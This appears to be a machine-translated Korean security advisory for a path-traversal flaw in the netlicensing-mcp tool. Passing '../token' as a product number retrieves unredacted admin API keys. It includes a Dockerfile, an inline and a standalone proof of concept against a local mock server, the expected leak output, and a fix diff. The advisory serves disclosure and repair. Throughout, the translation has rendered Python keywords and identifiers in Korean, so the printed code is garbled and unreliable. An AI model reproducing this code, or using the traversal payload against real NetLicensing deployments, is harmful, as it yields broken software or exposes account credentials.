netlicensing-mcp: REST 경로 순회가 토큰 수정을 우회합니다.
netlicensing-mcp의 netlicensing_get_product MCP 도구는 호출자가 제어하는 product_number 인수를 유효성 검사 없이 REST URL 경로에 직접 삽입합니다. ../token을 제품 번호로 전달하면 httpx가 /product/../token을 /token으로 정규화하여 요청을 의도한 제품 엔드포인트 대신 NetLicensing 토큰 엔드포인트로 자동 리디렉션합니다. 그런 다음 응답은 토큰별 _wrap_json_token_read 래퍼가 아닌 일반 _wrap_json 래퍼를 통해 직렬화되어 모든 APIKEY number 및 SHOP shopURL 수정을 우회합니다. 인증된 MCP 클라이언트는 관리자 수준 APIKEY 자격 증명을 포함하여 토큰 읽기 도구가 의도적으로 마스킹하는 일반 텍스트 API 키 값을 복구할 수 있습니다.
취약점은 정리되지 않은 문자열 보간과 'httpx'의 WHATWG URL 정규화 간의 상호 작용을 이용하는 경로 탐색(CWE-22)입니다.
출처 — src/netlicensing_mcp/tools/products.py:22
``파이썬 비동기 def get_product(product_number: str) -> dict: """번호별로 단일 제품을 구입하세요.""" return Strip_output_fields(nl_get(f"/product/{product_number}")를 기다립니다)
`product_number`는 유효성 검사 없이 REST 경로에 직접 삽입됩니다. `../token` 값은 `/product/../token` 경로를 생성합니다.
**싱크 — `src/netlicensing_mcp/client.py:143`**
``파이썬
비동기 def nl_get(경로: str, params: dict[str, str] | None = None) -> dict[str, Any]:
클라이언트 = _get_client()
url = f"{BASE_URL}{경로}"
...
r = client.get(url, headers=_headers(), params=params 또는 {})을 기다립니다.
httpx는 전체 URL을 {BASE_URL}/product/../token으로 구성하고 절대 URL에 적용되는 WHATWG URL 정규화 규칙에 따라 이를 {BASE_URL}/token으로 확인합니다. 따라서 HTTP 요청은 NetLicensing /core/v2/rest/token 엔드포인트로 전송됩니다.
수정 우회 — src/netlicensing_mcp/server.py:336 및 src/netlicensing_mcp/redaction.py:180-239
도구 핸들러는 일반 _json() 수정만 호출하는 _wrap_json(entity, "Product")를 통해 응답을 래핑합니다. 토큰별 경로 _wrap_json_token_read() → redact_token_read()는 호출되지 않습니다. redaction.py:180-239의 redact_token_read() 함수는 APIKEY number 및 SHOP shopURL 필드를 마스킹하는 유일한 코드입니다. 이 코드 경로에 없기 때문에 원시 API 키 값은 MCP 도구 출력에서 그대로 반환됩니다.
전체 데이터 흐름:
server.py:312-321 — MCP 디스패처는 공격자가 제어하는 제품_번호를 수신하고 products.get_product(product_number)를 호출합니다.tools/products.py:22 — 검증 없이 f"/product/{product_number}"에 삽입된 값입니다.client.py:143 — url = f"{BASE_URL}{path}"; httpx는 ../를 정규화하고 /token 엔드포인트에 요청을 보냅니다.server.py:336 — _wrap_json_token_read가 아닌 _wrap_json을 통해 "Product"로 래핑된 응답입니다.server.py:160-165 — 일반 _json() 수정은 기본 필드 마스킹만 적용합니다.redaction.py:180-239 — APIKEY/SHOP 관련 마스킹을 사용하는 redact_token_read()에는 도달하지 않습니다.전제조건
netlicensing-mcp 0.1.5(또는 로컬 커밋 c8a3fec)가 설치되었거나 PYTHONPATH를 통해 사용 가능httpx, python-dotenv, mcp[cli] 설치됨옵션 A - Docker(권장, 2단계 결과 재현)
``배쉬
docker build -t netlicensing-vuln-001
-f vuln-001/Dockerfile
보고서/pypiAi_1561_Labs64__NetLicensing-MCP/
docker run --rm netlicensing-vuln-001
**옵션 B — 직접 Python**
``배쉬
cd /path/to/Labs64__NetLicensing-MCP
PYTHONPATH=src python3 - <<'PY'
asyncio, json, 스레딩 가져오기
http.server에서 BaseHTTPRequestHandler, HTTPServer 가져오기
본 = []
비밀 = "실제-API-키-값-5678"
클래스 핸들러(BaseHTTPRequestHandler):
데프 do_GET(자기):
본.추가(self.path)
self.path.endswith("/token")인 경우:
body = {"항목":{"항목":[{"유형":"토큰","속성":[
{"이름":"번호","값":비밀},
{"이름":"토큰 유형","값":"APIKEY"},
{"이름":"역할","값":"ROLE_APIKEY_ADMIN"},
{"이름":"활성","값":"참"}
]}]}}
데이터 = json.dumps(body).encode()
self.send_response(200)
self.send_header("Content-Type","application/json")
self.send_header("콘텐츠 길이",str(len(data)))
self.end_headers()
self.wfile.write(데이터)
그 외:
self.send_response(404); self.end_headers()
def log_message(self, *args): 통과
srv = HTTPServer(("127.0.0.1", 0), 핸들러)
threading.Thread(target=srv.serve_forever, daemon=True).start()
비동기 정의 메인():
netlicensing_mcp.client를 c로 가져오기
c.BASE_URL = f"http://127.0.0.1:{srv.server_port}/core/v2/rest"
tok = c.api_key_ctx.set("더미")
시도해 보세요:
netlicensing_mcp.server에서 netlicensing_get_product 가져오기
출력 = netlicensing_get_product("../token")을 기다립니다.
print("UPSTREAM_PATH=" + 본[0])
print("SECRET_LEAKED=" + str(비밀 입력))
인쇄(출력)
마지막으로:
c.api_key_ctx.reset(tok)
c.close_client()를 기다립니다
srv.shutdown()
asyncio.run(메인())
피
예상 출력
``텍스트 UPSTREAM_PATH=/core/v2/rest/token PATH_TRAVERSAL_OK=참 SECRET_LEAKED=사실
=== MCP 도구 출력(netlicensing_get_product('../token')) === { "번호": "실제-API-키-값-5678", "토큰 유형": "APIKEY", "역할": "ROLE_APIKEY_ADMIN", "활성": 사실, "type": "토큰", "console_url": "https://ui.netlicensing.io/#/tokens/actual-api-key-value-5678", "경고": [], "제안_조치": [] } [통과] VULN-001 확인됨: 경로 탐색이 /token 엔드포인트에 도달했으며 일반 텍스트 비밀 'actual-api-key-value-5678'이 MCP 출력에 있습니다.
`number` 필드에는 원시 API 키 값이 포함되어 있으며 `console_url`은 이를 일반 텍스트에 포함합니다. 두 필드 모두 `redact_token_read()`가 마스크하는 필드입니다.
**해결**
`client.py`에 중앙 집중식 경로 세그먼트 유효성 검사기를 추가하고 모든 HTTP 도우미 함수(`nl_get`, `nl_post`, `nl_put`, `nl_delete`)에서 호출합니다.
``차이점
+from urllib.parse import unquote
+
+def _validated_path(경로: str) -> str:
+ 그렇지 않은 경우 path.startswith("/"):
+ NetLicensingError(400, "내부 오류: 업스트림 경로는 '/'로 시작해야 합니다.") 발생
+ path.split("/")의 세그먼트에 대해:
+ 디코딩됨 = 인용 해제(세그먼트)
+ {".", ".."} 또는 "/"로 디코딩된 경우 또는 "\\"로 디코딩된 경우:
+ NetLicensingError(400, "잘못된 식별자: 경로 구분 기호는 허용되지 않습니다.") 발생
+ 어떤 것이든(디코딩된 채널의 경우 ord(ch) < 32):
+ NetLicensingError(400, "잘못된 식별자: 제어 문자는 허용되지 않습니다.") 발생
+ 복귀 경로
+
비동기 def nl_get(경로: str, ...) -> dict[str, Any]:
- url = f"{BASE_URL}{경로}"
+ url = f"{BASE_URL}{_validated_path(경로)}"
nl_post, nl_put 및 nl_delete에 동일한 변경 사항을 적용합니다. 입력 ../token, %2e%2e, %2f 및 x/y에 대한 회귀 테스트를 추가합니다.
인증된 MCP 클라이언트(모든 MCP 도구를 호출하기에 충분한 NetLicensing API 키를 이미 보유하고 있는 클라이언트)는 netlicensing_get_product("../token")를 호출하여 전용 토큰 읽기 도구(netlicensing_get_token, netlicensing_list_tokens)가 의도적으로 수정하는 일반 텍스트 APIKEY number 값과 SHOP shopURL 값을 검색할 수 있습니다. 검색된 토큰에 ROLE_APIKEY_ADMIN 권한이 있는 경우 공격자는 대상 NetLicensing 계정의 모든 리소스에 대한 전체 읽기/쓰기/삭제 액세스 권한을 얻어 범위가 지정된 MCP 클라이언트에서 계정 소유자로 에스컬레이션됩니다.
이 취약점은 기본 구성이 아닌 구성이 필요하지 않기 때문에 stdio(단일 사용자) 및 HTTP/공유 등 모든 배포 모드에서 악용될 수 있습니다. 공격에는 MCP 세션을 인증하기 위해 유효한 API 키만 필요합니다. 순회를 트리거하는 데 관리자 권한이 필요하지 않습니다.
도커파일``도커파일 파이썬에서:3.12-slim
WORKDIR /앱
COPY 저장소/ /app/repo/
#atch-vcs 버전 감지를 피하기 위해 런타임 종속성을 직접 설치합니다.
실행 pip install --no-cache-dir
"httpx>=0.27.0"
"python-dotenv>=1.0.0"
"mcp[cli]>=1.7.0"
ENV PYTHONPATH=/app/repo/src
복사 vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
#### `poc.py`
``파이썬
#!/usr/bin/env python3
"""
VULN-001 개념 증명: REST 경로 탐색이 토큰 수정을 우회합니다.
=====================================================================
취약점: netlicensing_get_product(product_number="../token")
공격 흐름:
1. product_number="../token"은 f"/product/{product_number}"에 삽입됩니다.
=> 경로 = "/제품/../토큰"
2. client.py는 url = f"{BASE_URL}/product/../token"을 빌드합니다.
3. httpx는 WHATWG에 따라 URL을 정규화합니다: /product/../token => /token
=> 실제 HTTP 요청은 BASE_URL/token(토큰 끝점)에 도달합니다.
4. 응답은 _json()을 호출하는 _wrap_json(..., "Product")을 통해 래핑됩니다.
=> 기본 필드 수정(apiKey, secret 등)만 실행됩니다.
=> _wrap_json_token_read() / redact_token_read()는 절대 호출되지 않습니다.
5. APIKEY 토큰 "번호" 필드(= 원시 API 키 값)가 반환됩니다.
MCP 도구 출력의 일반 텍스트.
예상 종료 코드:
0 — PASS: 경로 탐색이 확인되었으며 MCP 출력에서 비밀이 발견되었습니다.
1 — FAIL: 취약점을 확인할 수 없습니다.
"""
비동기 가져오기
JSON 가져오기
수입 시스템
수입 스레딩
http.server에서 BaseHTTPRequestHandler, HTTPServer 가져오기
# 가짜 APIKEY 토큰 번호("유출된 비밀")로 사용된 Sentinel 값.
SECRET_APIKEY = "실제-API-키-값-5678"
# 모의 서버가 수신한 모든 업스트림 요청 경로를 수집합니다.
see_paths: 목록[str] = []
클래스 MockNetLicensingHandler(BaseHTTPRequestHandler):
"""PoC 격리를 위한 NetLicensing REST API의 최소한의 모의입니다."""
def do_GET(self) -> 없음:
see_paths.append(self.path)
# "/token"으로 끝나는 모든 경로에 응답하여 두 경로를 모두 캡처합니다.
# 정규화된(/core/v2/rest/token) 및 원시(/core/v2/rest/product/../token)
# 경우 — 실제로 httpx는 항상 정규화된 형식을 보냅니다.
self.path.endswith("/token")인 경우:
본문: dict = {
"항목": {
"항목": [
{
"type": "토큰",
"속성": [
{"이름": "번호", "값": SECRET_APIKEY},
{"이름": "토큰 유형", "값": "APIKEY"},
{"이름": "역할", "값": "ROLE_APIKEY_ADMIN"},
{"이름": "활성", "값": "참"},
],
}
]
}
}
데이터 = json.dumps(body).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("콘텐츠 길이", str(len(data)))
self.end_headers()
self.wfile.write(데이터)
그 외:
self.send_response(404)
self.end_headers()
def log_message(self, *args: object) -> 없음:
pass # 요청별 로그 노이즈 억제
async def run_poc(server_port: int) -> bool:
"""
순회 페이로드를 사용하여 취약한 MCP 도구를 호출하고 확인합니다.
업스트림 경로가 정규화되었고 비밀이 유출되었는지 여부.
두 조건이 모두 확인되면 True를 반환합니다.
"""
netlicensing_mcp.client를 클라이언트로 가져오기
netlicensing_mcp.server에서 netlicensing_get_product 가져오기
# HTTP 클라이언트를 모의 서버로 리디렉션합니다.
Original_base_url = 클라이언트.BASE_URL
client.BASE_URL = f"http://127.0.0.1:{server_port}/core/v2/rest"
# _headers()가 503을 발생시키지 않도록 더미 API 키를 삽입합니다.
ctx_token = client.api_key_ctx.set("dummy-key-for-poc")
시도해 보세요:
# ---- 익스플로잇 ----------------------
# "../token"을 product_number로 전달합니다.
# products.get_product는 nl_get(f"/product/../token")을 호출합니다.
# httpx는 /product/../token -> /token을 정규화합니다.
# 요청이 모의 서버에서 /core/v2/rest/token에 도달합니다.
# 응답은 _wrap_json(_wrap_json_token_read 아님)을 통해 직렬화됩니다.
# 따라서 APIKEY "번호" 필드는 마스크되지 않습니다.
# -----------------------------------------------------------------
결과: str = netlicensing_get_product("../token")을 기다립니다.
upstream_path = see_paths[0] if visible_paths else "(수신 없음)"
path_traversal_ok = upstream_path == "/core/v2/rest/token"
secret_in_output = 결과적으로 SECRET_APIKEY
인쇄(f"UPSTREAM_PATH={업스트림_경로}")
인쇄(f"PATH_TRAVERSAL_OK={path_traversal_ok}")
인쇄(f"SECRET_LEAKED={secret_in_output}")
인쇄()
print("=== MCP 도구 출력 (netlicensing_get_product('../token')) ===")
인쇄(결과)
print("=== 끝 ===")
path_traversal_ok 및 secret_in_output인 경우:
인쇄()
인쇄(
"[PASS] VULN-001 확인됨: 경로 탐색이 /토큰 엔드포인트에 도달했습니다."
f"및 일반 텍스트 비밀 '{SECRET_APIKEY}'가 MCP 출력에 있습니다."
)
그 외:
path_traversal_ok가 아닌 경우:
인쇄(
f"[FAIL] 경로 탐색이 작동하지 않았습니다: upstream_path={upstream_path!r}, "
"예상되는 /core/v2/rest/token"
)
secret_in_output이 아닌 경우:
인쇄(
f"[FAIL] MCP 출력에서 '{SECRET_APIKEY}' 비밀을 찾을 수 없습니다 — "
"수정이 예기치 않게 적용되었을 수 있습니다."
)
path_traversal_ok 및 secret_in_output을 반환합니다.
마지막으로:
client.api_key_ctx.reset(ctx_token)
client.close_client()를 기다립니다
client.BASE_URL = 원본_베이스_url
def main() -> 없음:
# 임의의 루프백 포트에 모의 서버를 바인딩합니다.
mock_server = HTTPServer(("127.0.0.1", 0), MockNetLicensingHandler)
포트: int = mock_server.server_address[1]
server_thread = threading.Thread(target=mock_server.serve_forever, daemon=True)
server_thread.start()
print(f"[*] 127.0.0.1:{port}"에서 수신 대기 중인 Mock NetLicensing REST API
print(f"[*] netlicensing_get_product(product_number='../token')") 호출
인쇄()
시도해 보세요:
성공 = asyncio.run(run_poc(포트))
마지막으로:
mock_server.shutdown()
sys.exit(성공하면 0, 그렇지 않으면 1)
__name__ == "__main__"인 경우:
메인()
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 96.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 96.00 |
VPI 공식 vpi-v1 기준